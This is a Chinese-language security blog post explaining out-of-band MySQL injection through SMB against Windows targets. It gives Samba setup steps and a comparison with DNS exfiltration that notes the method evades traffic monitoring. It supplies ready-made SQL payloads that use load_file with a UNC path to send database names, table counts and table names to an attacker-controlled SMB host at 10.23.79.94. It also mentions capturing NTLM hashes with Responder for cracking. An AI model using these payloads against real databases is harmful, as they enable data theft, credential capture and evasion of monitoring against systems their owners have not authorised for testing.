mysql smb外带注入

需求:secure_file_priv为空,目标系统为windows
smb设置如下:

找到 security = user , 旧版本将user 改为share,这里我用的新版本,需要在后面添加:
map to guest = Bad User
新设置一个smb

smb日志:/var/log/samba

smb外带注入与DNS外带注入比较:

  1. smb外带注入 可以一次性提交更大长度的字符,经测试长度在120是没有问题的,而dns前缀最多是63个字符。而且对特殊字符的兼容性比较好,目前测试发现 *是不行的,其他还有待fuzz。
  2. smb外带注入不依赖于dns,可以绕过目前流量监测设备对异常域名前缀的捕获,可以直接使用ip,不需要dns请求。

构造sql语句:

select load_file(concat("\\\\<IP>\\",(SQL语句),"\\xxx"))


为了方便从log里提取查询的内容,可以构造如下语句
select load_file(concat("\\\\10.23.79.94\\yayi[",database(),"]\\1.txt"));

查询当前数据库里的表

1. 使用limit
2. substring截断

使用limit请先获取总共的表数

select load_file(concat("\\\\10.23.79.94\\yayi[",(select count(table_name) from information_schema.tables where table_schema=database()),"]\\1.txt"));

再用limit逐个查询

select load_file(concat("\\\\10.23.79.94\\yayi[",(select table_name from information_schema.tables where table_schema=database() limit 0,1),"]\\1.txt"));

substring截断
截断到120字符串即可

select load_file(concat("\\\\10.23.79.94\\yayi[",(select substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,120)),"]\\1.txt"));

还有另外种方法就是利用smb获取ntlm hash,适用于知道目标一定的凭证。利用responder获取ntlm v2然后爆破

参考链接:http://moonslow.com/article/smb_sql_injection


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:mysql smb外带注入

本文作者:九世

发布时间:2021-06-29, 22:19:23

最后更新:2021-06-29, 22:28:09

原始链接:http://jiushill.github.io/posts/af61cc76.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录